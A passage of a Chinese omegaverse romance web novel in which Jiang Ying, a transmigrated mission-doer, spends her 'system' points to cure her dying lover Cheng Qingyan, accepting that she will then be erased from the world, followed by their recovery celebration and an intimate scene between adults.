今日开始,往后一两周的天气都不错,即使再下雨,气温也不可能低于零度。 这是她和姜映一起看的第一场雪。 也是最后一场雪。 姜映深呼一口气,在控制不住红了眼眶那一瞬,她迅速垂眸,弯下腰堆雪:“我再做一个雪人,三个更热闹。” 程卿言看着她的身影,拉起她的手:“别做了,已经够了。” 姜映摇头:“不够。” 程卿言:“姜映。” 姜映起身,红着眼睛看着她,眼睫湿漉,泪水划过:“不够。” 程卿言的心瞬间疼了起来,这是女生第一次当着她的面流泪,她一直知晓女生肯定悄悄哭过,为了不让她难受,所以不会在她面前哭,一直在忍耐。 此刻泪水已经落下,还是一脸倔地忍着,试图将泪水憋回去。 程卿言受不了了,抱住女生,轻柔地拍着她的背,温柔安抚道:“别忍着了,可以哭。” 难受就哭出来,别再强忍着了。 女生啜泣声在耳边响起,哭了一会儿,但也只是一会儿,很快就调整过来,吸了吸鼻子,红着眼睛看着她,关心道:“你冷不冷,想上楼了吗?” 程卿言指腹抚了抚她的眼尾:“感觉还行,走一圈再上去吧。” 姜映嗯了一声,见她的状态还可以,牵着手并肩在院子里走了几分钟才上了楼,脚印留在了雪地里。 七点出头去了楼下,玩了两个小时,马上九点半了。 姜映给女人换了衣服,又让女人喝了热腾腾的姜汤,很浓郁,即使放了些糖,味道也很冲。 程卿言抿了几口就不想喝了。 姜映对此很严格,喝姜汤去寒也是她让女人下楼玩雪提出的条件,她监督她喝完。 程卿言再喝几口,眉头皱皱的,耍赖:“我喝不下了。” 姜映耐心哄了一会儿,女人不听,她直接端起杯子,将姜水喝进嘴里,而后捧着女人的脸,用嘴渡给女人。 两分钟后,一杯姜汤就见底了。 程卿言哼了一声,扯纸巾擦了擦嘴角,骂道:“坏姜。” 是在骂姜汤,还是在骂姜映,或者是两者都骂了,姜映笑了一声,装作不懂,跟着骂:“对,坏姜,那么难喝。” 程卿言捏了捏她的脸,笑了一声,坐在一起看综艺聊天,快到中午时一起吃了午饭,整个上午还算过得不错,是她来了研究所后过得最开心的一天。 饭后她的精力就不行了,体能药的药效已经过了,疲惫困乏,躺在床上的下一瞬便睡了过去。 也可以说是昏了过去。 腺体在剧烈地痛着,额头上冒出了很多冷汗,姜映见她情况不对,立马叫了孙影。 孙影快速查看了程卿言的腺体状况,给她挂上了吊瓶,用药量又加倍了,十来分钟后,程卿言皱起的眉头慢慢舒缓了,疼痛减弱,才能睡得舒服些。 孙影呼了一口气,欲言又止:“你……” 姜映紧捏着掌心:“您说。” 孙影道:“你给她吃了体能药,副作用你是知道的,她接下来会更痛苦,止疼剂和缓抚液也起不了什么作用了,会失效,你要有心理准备,没有多少时间了。” “我知道了。”姜映红着眼睛,喉咙有了血腥味。 “如果她醒了之后,不想如此痛苦地躺着,还想吃体能药,想下去走一走,你都答应吧。”孙影也很痛苦,这几日白了很多头发,说这些话时心在滴血。 嘱咐好了注意事项,她回了实验室。 房间瞬间安静。 从前姜映很喜欢安静的环境,此刻她只觉得安静很可怕,她感觉她有些呼吸不过来。 手机忽然响了一声,划破了安静,她拿起来看了眼手机屏幕,是张芸打来的电话。 姜映走到窗边,按了接通。 张芸找她没什么大事,问她什么时候放假,要不要回云县过年。 后天是除夕夜,家里会吃团圆饭,往年姜映都会回去待几天,陪着张芸走亲访友。 今年无法回去了,姜映说自己有事,得留在碚城。 张芸以为她是工作上有事要忙,也没追问,没有勉强她回去,只是让她多休息,别太累了。 她能听出姜映的声音有些沙哑,带着浓浓的疲惫感。 姜映应了好,挂断电话后她在窗边看了一会儿,看着楼下寂静的小院子,姜小花和程大花还在,还没融化完。 寒冷的风刮在脸上,她颤着眼睫,静静站了一会儿。 这几日她问了秦助理近期女人身边出现过的人,她一个个挨着分析了,并没有任何特殊,至于女人查的那位外企的大老板,也不像女人的任务者,和女人没有任何关系。 任务者到底在哪,为什么还不出现。 姜映想不明白,很着急,却束手无策。 时间不等人,一分钟都耽误不起。 该怎么办? 姜映不知道,她无法接受事实,冷风吹红了鼻梁,她关上窗,回了窗边坐下。 握住女人没有输液的手,静静守着。 * 时针转动,到了凌晨三点。 程卿言已经睡了十五个小时,她的身体依旧很疲惫,身体在沉睡,但是意识已经醒了,她能感觉到有人握着她的手,断断续续温热的水落在她手背上。 很像泪水。 谁在哭? 是不是姜映,程卿言很担心,很想醒过来,可是她感觉她的身体不属于自己,她无法睁开眼睛。 难受,压抑,灵魂像被困进了密不透风的盒子里,她挣扎了好一阵儿,终于睁开了眼睛,瞧见了守在她身边的人。 姜映没有上床,坐在小凳子上,握着她的手,头压着床边,不知到什么时候睡着了。 程卿言瞧着女生湿漉的眼睫,眉头也紧紧皱着,心疼不已。 轻柔地抚了抚女生的脸颊,嘴唇微张,打算叫她。 还没出声,姜映就醒了,睁开眼看着她,沙哑道:“姐姐你醒了。” 程卿言朝着她笑了笑,嗯了一声:“怎么坐着就睡了,快上床睡吧。” 姜映应了声好,脱下外衣外裤,上床抱着女人,女人这会儿已经没输液了,不用担心压着针头。 程卿言手落在女生腰腹上摸了摸,明显能感觉到对方瘦了一大圈。 她比谁都清楚自己的情况,油尽灯枯,没有几天了。 她走后,这小姑娘该怎么办,要用多就才能从悲痛中走出来。 程卿言红了眼睛,不舍地吻了吻女生的下巴,牵起女生的手:“姜映。” “我在,”姜映的吻落在女人的额头上,女人的声音听起来很累很疲倦,她道,“睡吧,我抱着你。” 程卿言摇头,她暂时还不能睡,强撑着:“想和你说会儿话。” 姜映都听她的:“嗯,你说。” 室内的夜灯没关,微弱暖黄的光勉强能看清彼此的脸,程卿言往前移了一点点,吻了几下女生红着的眼尾,柔柔道:“我睡着的时候,你又哭了。” 姜映呼了口气,没有隐瞒,点头道:“我很爱哭。” 程卿言摸摸她的耳朵:“那你以后可以勇敢点吗,不要总是流泪。” 以后。 姜映抿了抿发干的唇,鼻尖很酸:“抱歉姐姐,我可能做不到……” 她怎么放得下心。 程卿言在心里叹了口气,吻着她的耳朵,静了几息,安抚道:“你说你不属于这个世界,来自别的地方,我离开后,说不准会去你的世界,在那里我们很有可能会重逢的,你觉得呢?” 时空局吗? 在时空局重逢? 姜映不清楚有没有这种可能,因为她也不清楚自己为什么会出现在时空局,她没有这部分记忆。 程卿言很乏了,快坚持不了,她本不该在这会儿醒来,只是感觉到女生在哭,她的大脑才挣扎着让她醒了过来。 聊了会儿天,已经是她的极限,没有等到女生的回复,无法继续看女生的面容,疲惫地睡了过去。 怀里的人合上了眼睫,姜映出声道:“姐姐。” 无人回应。 她下意识伸手探了探女人的鼻息,虽然微弱,但还能感受到。 姜映抱紧她,她不会让女人出事,一定有办法的。 她不要什么时空局的重逢,那样依旧是将她们的命运托付给外界,她们根本无法掌控,这样的期许太过渺茫了。 时空局的重逢。 时空局。 系统。 积分。 姜映忽然睁开眼,想起一件事,她记得系统给她说过做任务获得的积分,只要达到时空局规定的额度,就能用来实现愿望。 她从前做了那么多任务,积分已经排到了时空局积分榜的前三,一次都没使用过。 如果是这样,那是不是可以用来让女人恢复健康。 姜映的心跳快了起来,迅速在脑子里呼出登录密码:【sysyqy】 “嘀”的一身响,脑识里出现了发着光的蓝屏界面,成功登录了工作日志。 系统的机械声响起:【欢迎宿主登录】 姜映点进了积分板块,瞧了眼自己的积分,确实特别多,积分板块里可以填写愿望,提交之后,积分随即会扣除。 愿望生成,积分变动,记录会出现在时空任务局的档案上,时空局会找宿主核实。 时空局届时便会知道她逃离了,会找到她。 姜映静了片刻后,心里还有疑惑,询问系统:【用积分兑换愿望,只能用在自己身上吗?】 系统道:【只要宿主愿意,可以用在任何人身上】 任何人,也是就可以用在程卿言身上。 姜映:【什么愿望都可以?】 系统:【只要积分足够,愿望任许】 姜映:【让将死之人恢复健康,需要多少积分?】 系统:【复活类愿望属于最高等级的愿望,宿主的积分目前有一千亿,刚好足够】 够用就行,姜映颤了颤眼睫,问了最后一个问题。 如果她在不属于她的世界使用了积分,她被召回了时空局,这个世界会有什么变化? 系统如同智能机器人,检索着问题,片刻后给了她回复:【抹除】 抹除她在这个世界的全部痕迹,所有生命都会遗忘她,如同她没存在过。 所以人都不会记住她。 姜映心口颤了几下,安静片刻,在积分界面写下了自己的愿望,只要点确认,愿望便能生成,程卿言可以立刻恢复健康。 可是在点确认那一瞬她犹豫了,指尖颤抖着,她感觉她有点害怕。 她虽然不想回去继续做任务,不想被时空局发现,但是她此刻不是在害怕这些,这些和程卿言的生命比起来,显得微不足道。 只要女人能好起来,她愿意为女人付出她所拥有的一切,哪怕是回到让她感到疲惫的时空局。 她是在害怕,日后再也见不到女人了。 听不见她的声音,看不见她的笑容,感受不到她的体温。 姜映心口疼了几下,晕着泪花的眸光颤了颤,垂眸看着女人熟睡的脸,靠过去轻轻吻了吻女人的脸颊。 她怎么舍得离开她。 可是没有其它办法了,女人的时间不多了,如果她不用积分兑换愿望,她会面临更承受不了的后果。 积分兑换过后,时空局会发现她,但她不清楚时空局发现她的速度是快是慢,她是立即消失在这个世界,还是待一阵儿再消失? 如果她立刻离开,对于女人来说是没有痛苦的,因为她在这个世界留下的所有痕迹都会被抹除。 女人会忘掉她,不会记得她短暂地出现在她的生命中。 可是…… 深呼一口气,姜映最终没有点确认,退出了工作日志,脑识里的蓝屏界面瞬间消失。 姜映发现她的掌心全是汗。 再等等。 她想再看看她。 * 姜映一宿没睡。 黑夜过去,黎明来临,太阳缓缓升起。 窗帘没有拉紧,几缕暖光落在了被褥上。 姜映颤了颤眼睫,看着女人的睡颜,眸光中荡漾着爱意与不舍,一动不动,就这样看了一宿,怎么也看不够。 九点出头,程卿言缓缓睁开了眼睛,睡够了会醒一会儿,可是止疼剂对她的作用已经不大了,腺体在疼。 脸色很苍白,疼起来很难受。 姜映拿纸巾给她擦了擦汗,满眼心疼,主动问道:“今日天气很好,要不要吃一颗体能药,我们下楼走一走?” 吃了体能药,女人会好受很多。 程卿言侧眸看了眼窗外的暖阳,很心动,最终还是摇头:“不去了。” 她知道体能药的危害,昨天吃一颗已是放纵,不能再吃了,她得多陪陪姜映。 多存在一秒,就能多陪她一秒,即使出于沉睡状态,也是陪伴。 如果她太早离开,小姑娘会受不了的。 姜映红了眼,想要劝说:“可是……” 程卿言伸手捂住她的嘴,虚弱地朝着她笑了一下:“你乖一点,听话。” 疼得太厉害,女人说起话来也很费劲儿,很快又睡了过去。 睡着之后疼痛也不会消失,额头一直在冒汗,孙影来了几次,将止疼剂的药量加到了最大,作用不大。 女人很难受。 疼醒,昏睡,疼醒,昏睡。 这一天里如此反复着。 孙影说接下来的日子程卿言会比今日更难受,疼痛会越来越重,一直处于煎熬中。 姜映受不了,无法眼睁睁看着女人遭罪,在所有人离开后,她在床边守着,女人在这会又疼醒一次,虚弱地朝着她笑了一下。 姜映红着眼眸:“姐姐……” “嗯?” 程卿言难受地应了一声,又要陷入沉睡。 姜映附身吻了女人的额头,嘴唇颤动:“好好睡一觉,醒来之后就不疼了。” 脑子里“嘀”了一声,蓝屏界面出现,她点进积分板块,兑换愿望,点了提交。 “不用记住我来过,我很爱你。” 她在女人耳边说。 第88章 祝福 祝福 第八十八章 姜映没有告诉程卿言她用她在时空局积累的积分换取了她的健康,也没有告诉女人这个世界与她有关的全部痕迹都会被抹除。 她会消失后,所以人都不会记得她来过。 如果她说了,只会让知情人为她而难受,让女人难受。 她不说,悄悄地走,任何人都不会受到影响。 在她填写好愿望,点提交时,蓝屏界面上出现了一行字:提醒,愿望生成后不可逆转,请宿主确认是否提交 这一次姜映没有任何犹豫,点了提交,脑子里“嘀”的一声响,她瞧见积分瞬间清零。 与此同时,程卿言皱着的眉头也舒展了,额头不再继续冒出冷汗,姜映呼口气,轻轻笑了一下,肯定成功了。 女人还在睡,她没有打扰她,依旧守在床边。 积分一旦使用,时空局那边会出现积分变动的记录,找宿主核实时一定会发现她逃离了时空局,属于重大事故,处理速度会很快。 但是时空局和任务世界的时间流逝是不一样的,在任务世界过了很久,时空局那边应该只过了一下会儿。 因此,即使时空局瞬间发现她,她应该还可以在这个时间待一小会儿。 一天,两天,幸运一点,三五几天应该是可以的。 “应该”。 姜映用的是应该,从前她没做这样的事情,没有任何经验,她也不是很确定,一切都是她推测。 距离她提交愿望已经过了十来分钟,这十多分钟她哪也没去,一直看着程卿言,她的心跳很快,掌心全是汗,怕自己下一瞬就会离开。 好在没有任何事发生,说明她关于时间的推测是正确的,她还有一些时间。 真好。 女人不用再受折磨了,她应该感到开心,但是她也有点难过。 眼眸里的泪光颤动着,浸湿了浓密的长睫。 日后不能陪在女人身边了,对方的喜怒哀乐都将与她无关,可能如她梦境中讲述的那样,在故事的最后女人会遇见那位爱吃醋的alpha,过上幸福圆满的生活。 姜映一直以为女人只要过得开心,她就会很满足,此刻她才发现,她没有她想象中的那么淡然。 为女人感到开心是真的,嫉妒也是真的。 她在嫉妒日后能陪在程卿言身边的alpha。 控制不住地嫉妒。 * 不一样。 程卿言在要醒来时,就感觉到她的身体状况发生了变化,和以往完全不一样了,不在软绵疲惫,腺体处折磨人的疼痛也彻底消失不见。 她感觉她精神十足,浑身舒畅。 为什么这样? 难不成她已经进入天堂,所有的痛苦都消失了,不是说她还有一段时间吗,为什么这么快。 片刻后她睁开眼,打量了周围,还是在研究所的病房里,姜映也守在她身旁。 她居然还活着。 而且身体感觉良好。 听见女生轻轻笑了一声,程卿言坐起来,偏头问到:“你笑什么?” 姜映伸手抱住女人,吻了吻女人的耳畔,笑音道:“你刚才的表情很可爱。” 可爱? 程卿言哼了一声,可爱哪里和她沾边,不过她懒得纠正女生,高兴道:“有件好事我要告诉你。” 姜映笑眸,知晓女人要说什么:“你说。” 程卿言笑音:“我感觉我的腺体好起来了,一点也不疼,而且我的精神状态也很不错。” 姜映哦了一声,眨了眨眼:“知道了。” 程卿言见她反应淡淡,以为对方不相信自己说的话,她下床快速换了一身衣服,牵着女生的手往外走。 姜映颤睫,视线落在她们紧握着的手上,又瞧了瞧女人稳健有力的步伐,嘴角轻轻扬了扬,彻底放下了。 “我们要去哪?”她问。 程卿言说:“去孙阿姨的办公室,让她检查一下我的状况。” 不只是想让女生相信她说的话,她自己也想确认的情况。 * 敲门声响起时,孙影和邹全正在商量如何减轻程卿言痛苦的对策。 信息素紊乱者专用的止疼剂已经不管用了,但她们不能眼睁睁看着程卿言那么痛苦地躺在床上。 躺在床上? 办公室的门被推开,她们瞧着生龙活虎牵着姜映走进来的程卿言,瞪大眼睛,一时间愣住了。 程卿言出声打招呼,她们才回过神。 难以置信地打量着程卿言,孙影和邹全惊讶地对视一眼,什么情况? 同时觉得自己出现幻觉了,要么就是太累了,一不小心睡着了,在做梦。 掐了自己几下,用足了劲儿,疼得“嘶”了一声。 不是梦,也没有出现幻觉,眼前的程卿言是真实的。 邹全猛得站起来,问道:“你吃了多少体能药?” 不会一次性吃了一瓶吧。 程卿言说:“一颗也没吃。” “那你为什么?”邹全惊讶地打量着她。 程卿言笑着说:“我也不知道,一觉醒来就这样了。” 谁也说不清楚,知晓内情的姜映不会告诉她们真正原因,孙影从震惊中回过神,直接带着程卿言去实验室做检查。 三十多分钟后,孙影和邹全反反复复地看着检查报告,再三确认自己有没有看错。 程卿言在一旁等了几分钟,开口问道:“情况怎么样?” “好了,彻底好了。” 孙影既惊喜又困惑。 邹全也道:“腺体完全恢复了。” 但是为什么啊? 特效药又起作用了? 可是前几日那么严重了,很明显特效药对程卿言无效。 程卿言的腺体基因在出生前就被程颐改动过,难不成发生了奇迹,基因突变了,腺体自愈了? 目前腺体学领域中最权威的两位专家都在这里,都对这种现象感到困惑。 已经超出了她们的认知了,用科学解释不出原因,只能将其归结于基因突变带来的奇迹。 无论如何,管它是什么原因,即使是封建迷信,她们也认了,只要程卿言能康复就行了。 孙影喜极而泣,擦了擦眼泪,但也没忘了正事,又带着程卿言去做了全身体检,不敢掉以轻心,担心其它器官会出问题。 临近中午,所有检查做完,孙影和邹全认真地看了全部报告,没有任何问题。 程卿言很健康。 比多数人都要健康。 恰好余简予也在这时来研究所看程卿言,得知这个好消息那瞬,和孙影邹全的反应几乎一模一样,不是觉得自己悲伤过重出现了幻觉,就是在做梦。 她还没动手,程卿言帮忙掐了掐她的胳膊,疼得她嗷了几声,确定道:“是真的?” 程卿言笑着点头:“千真万确。” 余简予眼眶泛红,直接哭了起来,抱着她放声大哭,眼泪鼻涕都擦在了她的衣服上,哭着说:“你知道我这段时间有多担心吗,我,我每天晚上都睡不着,会梦见你不在了,我都瘦了六七斤了,程卿言你得赔我精神损失费。” 程卿言叹了一声气,嫌弃好友的眼泪鼻涕,又心疼好友为自己操心,道:“赔,你想要什么礼物,直接把清单列出来,我买给你。” 余简予其实什么也不想要,对方能恢复健康,就是她这辈子收到的最好的礼物,她擦了擦眼泪,好一阵才平复了情绪。 余简予问:“你给秋染说了没?” 程卿言:“上午一直在做检查,还没来记得。” 余简予拿出手机,给云秋染发了微信消息,云秋染秒回,六十秒一条的语音消息,连着发了二十多条。 大家都反应都差不多,震惊,惊喜,怀疑,确信,兴奋。 云秋染今日正好在碚城有拍摄活动,即使听了语音打了视频,她见不着人不安心,推掉了工作,乔装打扮偷偷来了一趟研究所。 瞧见程卿言好端端站在眼前,虽然没像余简予那样痛哭流涕,但也红了眼睛,伸手抱了抱程卿言。 中午一起在研究所吃了饭,食堂送的餐,热热闹闹,和前几日沉闷压抑的气氛截然不同。 邹全还找出了她珍藏在办公室里的白酒,给大家分享。 余简予惊讶:“邹阿姨你工作的时候还喝酒啊?” 而且是白的。 邹全解释:“工作压力大的时候,会和老孙一起小酌几杯。” 在场的人,除了姜映,都会喝酒,而且酒量还不错,都不会醉,这会儿高兴,因此多喝了几杯。 姜映见状,拉了拉程卿言的手,凑到她耳边道:“你少喝一点儿。” 程卿言扬唇,眼眸含笑看着她,也小声回应:“你亲我一下,我就不喝了。” 她只是在玩闹,这么多人看着,又有长辈在,女生即使胆子大了,也不会真的亲她。 谁能想到下一瞬,姜映便吻住了她,而且是吻的嘴唇。 女生在她唇上咬了一下,又用舌头舔了舔,几秒后才松开了她。 在场的人瞧见她们的互动,瞬间安静下来,有些震惊姜映的大胆,你看我我看你,这是她们能看的吗? 程卿言难得脸红,咳了一声,转移话题道:“你们愣着干嘛,等会儿菜都凉了。” 孙影年纪最大,对姜映很满意,越看越喜欢。 余简予和云秋染一脸打趣地看了眼程卿言,想起哄八卦,考虑到有长辈在,这才放过了她们。 继续吃饭,聊起了别的。 前几日都过得太压抑,吃不好睡不好,饭后都有些累了,想回去补补觉,因此没有久聊,约好下次再聚,秦助理安排了司机,送大家回家。 程卿言已经康复,该做的检查都做了,没有继续留在研究所的必要,向孙影邹全告别后,回了月泊林。 明明没离开多久,十天不到,回到家那瞬却有种恍如隔世的感觉,她以为她再也回不来了。 程卿言眸光颤了颤,没有急着进屋,在院子里站了会儿。 姜映牵着她的手,侧眸看着女人的脸庞,静静陪着她。 拉面丸子和柚柚听见了响动,快速从后院跑了过来,瞧见她们回来了,围着她们兴奋地摇着尾巴。 这些日子程卿言虽然没回来,但是宠物们一直由阿姨照顾着,生活并没有多大变化,以往程卿言也会经常出差,所以这次拉面丸子也以为主人是这几天是出差去了。 跳上跳下十分黏人,激动地让程卿言陪它们玩。 程卿言心情不错,摸了摸它们的头,陪着它们玩了一会儿。 柚柚本来也参与其中,片刻后停了下来,走到姜映身边喵了一声,像似察觉到危险一般,不挺地嗅着姜映的味道,身上的毛微微炸起。 姜映将它抱起来,顺了顺它的毛:“怎么了啊?” 柚柚看起来有些不安,又叫了几声。 程卿言也注意到了,放下手中逗狗的球,和女生一起检查了会儿柚柚的状况,又没有别的异样,但还是有点不放心。 “带它去宠物医院看看?” 姜映想了想道:“不用了吧,应该没事。” 程卿言:“那再观察一会儿。” 开门进屋,宠物们也跟着进去,拉面丸子玩累了去了狗窝睡觉,柚柚倒是没出现别的不对劲儿,只是有点黏姜映,无论姜映走到哪,都要跟着。 姜映去上厕所,洗手间的门关上了,柚柚没能进去,便在门口一直叫,用抓只挠门,直到姜映出来,它才安静下来。 程卿言说:“柚柚是不是有分离焦虑症?” “可能是最近一直没见到我,太想我了。” 姜映抱着柚柚,和女人一起坐在沙发上,解释了一句,其实她心里有一种猜测,柚柚可能是感觉她要离开了,才如此不安地跟着她。 柚柚是她捡的猫,那日在柚子树下发现它的时候才巴掌那么点大,她离开这个世界后,她在这个世界的所有痕迹都会被抹除,柚柚的命运又会如何,会活下来吗? 姜映不清楚,心里有些担忧。 忙活到现在,程卿言身上出了汗,拿起睡裙准备去洗澡,本想叫女生一起,但女生这会儿在陪柚柚,日后一起洗澡的机会很多,不急在这一时,在女生脸上亲了一下,去了浴室。 姜映挠着柚柚的下巴,温柔又担心,小声道:“你得想办法活下去,不要躲在草丛里,努力往人多的地方爬,让好心人瞧见你,知道吗?” 柚柚喵了一声,用头蹭了蹭她的掌心。 姜映说:“你体格这么大,别的猫也不一定能打得过你,如果你不想被人收养,那就往安全的地方走,我带你去过碚城大学,那里就很安全,离你出生的地方也很近,你就去那里吧。” 碚城大学有专门的猫协会,里面的流浪猫过得很幸福,柚柚如果能去那么,她会放心很多。 “你别担心我,我没事的。”姜映她耐心地说着她想说的话。 柚柚仿佛能听懂一般,炸起的毛逐渐平顺了,朝着她叫两声后,便从她腿上跳了下去,回了猫窝睡觉。 姜映呼了口气,柚柚是只独立勇敢的猫,即使没有她收养她,肯定也能靠着自己活下去。 * 程卿言没有泡澡,速度较快,十多分钟后就从浴室出来了,瞧见女生正坐在沙发上,专心致志地看着手机屏幕。 她走过去,膝盖蹭了蹭女生的腿,问道:“在瞧什么?” 姜映抬眸看着她,如实说:“在给大家发新年祝福。” 明晚才是除夕夜,不应该明晚凌晨那会儿再发吗。 程卿言坐下:“这么着急,明晚不能发吗?” “明晚有事。”姜映看着女人的唇。 程卿言:“有什么事?” 姜映握着她的手:“要陪你。” 她不知道她能留多久,或许是明天,或许是后天就会离开,这些年她的性子虽然淡淡的,但也遇见了很好的朋友,还有她妈妈张芸。 心里虽然知晓她离开后,她们不会记得她,不会难受痛苦,但她会不舍。 所以得在她还没走的时候,将祝福发过去,余下的时间她要用来陪程卿言。 陪着她,无论做什么都可以,也可以什么都不做,只要能待在女人身边,她就很满足了。 程卿言笑了一声,凑到她耳边,似吻非吻:“陪我做什么,嗯?” 姜映:“姐姐觉得呢?” 程卿言轻笑,咬了下女生的耳垂,捏着女生的指尖:“为什么要等到明晚,现在不能做?” “做吗?” 姜映喉咙滚了滚,在女人的主动下,心里有股燥热之意在蔓延,燥意中又夹杂了很多酸涩和不舍,眼眶泛起了红,掌心握住女人柔软的腰肢,吻住了女人的唇。 舌尖挑开女人的双唇,热情汹涌地吻着。 直到女人无法呼吸,她才松开,脸颊蹭着女人的脖子,嘴唇的温度一点点下落,女人心脏的跳动,充满生命力的心跳,是她的停歇地。 程卿言洗完澡后只穿了一条齐膝的墨绿色吊带缎面睡裙。 窸窸窣窣,睡裙落地。 “姐姐。” “嗯……” 程卿言颤着眼睫,瞧着吻到心跳,又停了下来的女生:“怎么了?” “不在这里。” 姜映抱起她回了卧室,女人躺在床上,柔顺光泽的发梢散在浅灰色的床单上,浑身泛着柔白的粉,美得惊心动魄。 女人揽着她的脖子,她又吻了她,吻落在女人后颈时,她哑着嗓子问:“要咬吗?” 程卿言颤睫,比撒娇的猫还娇,嗯了一声。 姜映吻了吻她的腺体,并没有咬下去,片刻后她抬眸,认真地看着女人后颈的腺体,已经恢复了健康,日后不会再出问题,她轻轻用指腹揉了揉。 程卿言有点难受,痒得有些想躲。 “我去洗手。”她听见女生在她耳边说。 程卿言呼了一口气:“快点。” 女生在她唇上亲了一下,应了声好。 程卿言趴在床上等着,窗帘的遮光性很好,没有开灯,卧室比较暗沉。 很快,可能不到十五秒,alpha温热的吻便落在了她后颈上,同时暖黄的灯也亮了起来。 “开灯做什么?”她问。 女生的嗓音有些低:“想看看你。” 程卿言说:“你开夜灯。” “夜灯太暗了,看不清你。”姜映坚持开最亮的灯,她要将女人每一瞬的变化都藏进眼里。 这坏东西是什么癖好,程卿言在心里吐槽一句。 “太亮了?” 程卿言承受着女生的吻,回应:“有一点……” 她以为女生问了她,会关掉灯,或是换一盏暗些的,她想错了,女生拿了眼罩戴在她眼睛上,视线瞬间暗了下去。 “姜…嗯…” 想出声制止,下一瞬便说不出完整的话来,这一次和往常的温吞不一样,身后的人如飞驰在草原的孤狼,踏着野花横冲直撞,土壤里的水分也渗了出来,润物有声。 视线不明,听觉就变得很好,程卿言能听见塑料包装袋撕开的声音,响了第一次,第二次,第三次,她记不清多少次。 似乎还听见了滴答滴答的下雨声。 雨从何来,落往何处。 她一直知晓alpha有一双灵活好看的手,能做一手好菜,能堆出好看的雪人,这时她又对其有了新的体会。 很有能量,弹指间能抚平她过往从未在意过的与喜怒哀乐息息相关的褶皱。 她与她相识不过几个月,而在此刻,alpha不停歇地参与探寻了她的过往。 十六岁恐惧欲念的她,二十岁开始坦诚面对的她,二十五游刃有余懂得享受的她,还有此刻,即将三十岁想要叫停的她。 姜映没有听她的话,她很贪心,肩膀一直颤动着,红着眼眸道:“叫叫我的名字。” 她明明知道女人说不出完整的话,却执着地让女人叫她的名字。 指腹上的纹路如同树的年轮,记录着岁月,纹路流转觅深处,女人未来的岁月她无法参与了,她的时间不多了,只能用尽全力感受女人的过往。 泪水从眼尾落下,姜映嗓音低沉,偏执道:“叫我的名字。” “程卿言。” “你叫叫我。” “程卿言。” 女人无法回应她,她也不给女人回应的间隙,一遍遍叫着女人,眼眸中盛满了爱意。 女人能健康活着走向未来,她该对此感到满足,女人不用再承受信息素紊乱带来的痛苦,她也该对此感到满足,可是她不甘心,她没有她想象的那么无私淡然。 她不想离开她,她既高兴女人会忘掉她,又在害怕女人会遗忘她,她还在嫉妒未来会出现在女人身边,能陪着女人走完余生的alpha。 为什么不能是她。 姜映胸腔不断起伏着,向来温和她此刻变得很急切莽撞,吻住了女人后颈的腺体,眼泪也落了上去。 “程卿言……” 程卿言昏昏沉沉,听见alpha一直在叫她名字,每叫她一声,便往前融入她过往的一年,整整二十九年,每一年好似都有了女生的身影。 在alpha咬住她的腺体,信息素注入那一瞬,大脑瞬间空白,青竹的清香混在了樱桃的甜腻中,久久无法明了。 不同于浅层标记的忽明忽暗,深层标记像是将她拉进了一片湖水中,看似平静的湖水,浸入四肢百骸,掀起了海浪。 “我属于你。” 她听见alpha在她耳边哑着声音说。 回卧室那会儿天没黑,应该在四点左右,此刻天已经黑透了,卧室的灯一直没关,女人眼睛上的眼罩掉了几次,alpha会不厌其烦地给她戴好。 “程卿言。”姜映叫她。 程卿言颤睫:“嗯……” 姜映一字一句:“我永远属于你。” “知道了,出去点……”程卿言无力地推了推她,她快晕了。 alpha应了声好,让她休息了几分钟,再一次拥住了她,两个小时后卧室才换成了夜灯,空间安静下来。 女人的眼罩已经取下,姜映吻了吻女人覆满薄汗的额头,抱着她:“姐姐……” 有太多的话想说出口,想告诉她有多舍不得她,想嘱咐女人未来要好好的,好好吃饭,好好睡觉。 可话到嘴边,全变成了酸涩的呼吸,说了又如何,女人不会记得。 程卿言怕了,以为alpha还想闹,一脚将她踹下床,扯起被子盖住自己。 一次接着一次,她躲开也会被哄回去,年轻alpha的体力真的很可怕,她累得不行,alpha依旧很精神,她得缓一缓才行,不让她可能会晕在床上。 这会儿她不想同女生说话,太累了。 地上有厚厚的地毯,摔下去并不疼,姜映颤了颤眼睫爬了起来,这是女人第二次踢她下床,她并不反感,甚至很珍惜这种体验。 即将离开,女人给予她的一切对她而言都是宝贵的,想珍藏,想独家拥有。 可是她不能这么自私,姜映已经冷静下来,失落地站在床边看着女人,如果未来出现在女人身边的alpha能让女人快乐,她愿意接受。 她什么也留不下,唯有祝福。 只要女人快乐,不甘也好,遗憾也罢,她会安静地离开。 第89章 离开 离开 第八十九章 程卿言累到连话都不想说,阖上眼睫休息了几分钟,才缓过劲儿,睁开眼便瞧见姜映在收拾凌乱的卧室。 地上全是小小的包装袋,指|套开了一盒,里面还剩下一个。 姜映见她坐了起来,走过去关心道:“还好吗?” 程卿言嗯了一声,捏了捏她的脸,不满道:“你怎么一点也不累。” 姜映笑了一下,凑到女人耳边问:“你喜不喜欢我这样?” 程卿言哼了一声,拿起女生的手咬了一口,就是这只手折磨她:“你觉得呢?” “我觉得是喜欢的,”姜映说着她判断的依据,“姐姐刚才流了很……” “不许说。”程卿言立马伸手捂着女生的嘴,嗔了一眼。 姜映眼眸含笑,点头:“你要去洗澡吗,我抱你过去。” 程卿言动了动腿,确实还有点酸,也没多想,让alpha抱着她去了浴室,然后alpha就不出去了,哄着缠着又来了好几次。 她不知道她是怎么睡着的,也不知道她是怎么睡到床上的,醒来时天已经亮了,程卿言躺着缓了好一会儿。 伸手碰了碰后颈处的腺体,昨夜的深层标记来得有点突然,情到浓处自然而然就发生了。 她当时没拒绝,也没有害怕,此刻清醒了,也不会感到后悔。 如果让她形容深层标记给她带来的感觉,她想到了四个字——欲仙欲死 若是之前,其实她不太能接受深层标记,她不想让自己属于任何人,她害怕她会失控。 可是姜映让她感到很放心,因此她可以接受,并且很享受那种感觉。 她愿意属于姜映。 不过女生在标记进入她的时候,说的居然是“我属于你”,而不是“你属于我”。 程卿言嘴角扬了扬,轻笑一声,搞得像她标记了姜映一样。 缓得差不多,脑子也清醒了,她翻身坐了起来,女生居然还在睡,也不知道昨晚是几点睡着的,累成这样。 她没有吵醒她,拿起手机看了眼时间,上午九点零六分,不早不晚,还可以继续睡会儿。 但已经没有睡意了,她应该也属于高精力人群,以前只是因为信息素紊乱的缘故,容易累,现在身体恢复了,不需要睡那么多觉。 程卿言回了几条孙影询问她身体状况的消息,几分钟后放下了手机,爱意浓郁的眸光落在了姜映脸上。 